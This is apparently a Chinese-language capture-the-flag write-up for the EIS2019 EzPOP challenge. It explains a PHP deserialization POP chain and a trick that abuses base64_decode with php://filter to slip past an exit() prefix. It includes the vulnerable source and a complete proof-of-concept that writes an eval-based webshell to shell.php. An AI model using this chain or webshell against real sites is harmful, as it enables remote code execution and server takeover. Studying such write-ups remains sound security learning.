EIS2019-EzPOP 中括号[]在PHP里代表数组&写入base64编码后的木马&base64_decode()是以8字节为单位解密的
这道题的重点:这道题完美地运用了base64_decode()函数会忽略某些特殊字符的特点
来看一个实例代码:
<?php $a1=array(); $a2=array("php://filter/write=convert.base64-decode/resource="); $text=json_encode([$a1,$a2]); echo $text; ?>
运行结果:
[[],["php:\/\/filter\/write=convert.base64-decode\/resource="]
Trick:
$filename就写php伪协议
base64_decode的字符串中,会直接忽略一些特殊字符(直接无视),包括空格、"、<、[等,所以写马的时候要凑八个字符
php源代码:
<?php error_reporting(0); class A { protected $store; protected $key; protected $expire; public function __construct($store, $key = 'flysystem', $expire = null) { $this->key = $key; $this->store = $store; $this->expire = $expire; } public function cleanContents(array $contents) { $cachedProperties = array_flip([ 'path', 'dirname', 'basename', 'extension', 'filename', 'size', 'mimetype', 'visibility', 'timestamp', 'type', ]); foreach ($contents as $path => $object) { if (is_array($object)) { $contents[$path] = array_intersect_key($object, $cachedProperties); } } return $contents; } public function getForStorage() { $cleaned = $this->cleanContents($this->cache); return json_encode([$cleaned, $this->complete]); } public function save() { $contents = $this->getForStorage(); $this->store->set($this->key, $contents, $this->expire); } public function __destruct() { if (!$this->autosave) { $this->save(); } } } class B { protected function getExpireTime($expire): int { return (int) $expire; } public function getCacheKey(string $name): string { return $this->options['prefix'] . $name; } protected function serialize($data): string { if (is_numeric($data)) { return (string) $data; } $serialize = $this->options['serialize']; return $serialize($data); } public function set($name, $value, $expire = null): bool{ $this->writeTimes++; if (is_null($expire)) { $expire = $this->options['expire']; } $expire = $this->getExpireTime($expire); $filename = $this->getCacheKey($name); $dir = dirname($filename); if (!is_dir($dir)) { try { mkdir($dir, 0755, true); } catch (\Exception $e) { // 创建失败 } } $data = $this->serialize($value); if ($this->options['data_compress'] && function_exists('gzcompress')) { //数据压缩 $data = gzcompress($data, 3); } $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data; $result = file_put_contents($filename, $data); if ($result) { return true; } return false; } } if (isset($_GET['src'])) { highlight_file(__FILE__); } $dir = "uploads/"; if (!is_dir($dir)) { mkdir($dir); } unserialize($_GET["data"]);
POP链构造:
class A:__destruct ---- save ---- getForStorage --- 然后把$this->store=new B(); ---- 然后就调用B类里的set方法
class B:set --- getExpireTime和getCacheKey方法 ---- serialize --- file_put_contents
poc.php:
<?php class A{ protected $store; protected $key; protected $expire; public function __construct() { $this->cache = array(); $this->complete = base64_encode("xxx".base64_encode('<?php @eval($_POST[8]);?>')); //这个字数可以使用PHP在线网站一个一个试 $this->key = "shell.php"; $this->store = new B(); $this->autosave = false; $this->expire = 0; } } class B{ public $options = array(); function __construct() { $this->options['serialize'] = 'base64_decode'; $this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource='; $this->options['data_compress'] = false; } } echo urlencode(serialize(new A()));
传参data就行了

浙公网安备 33010602011771号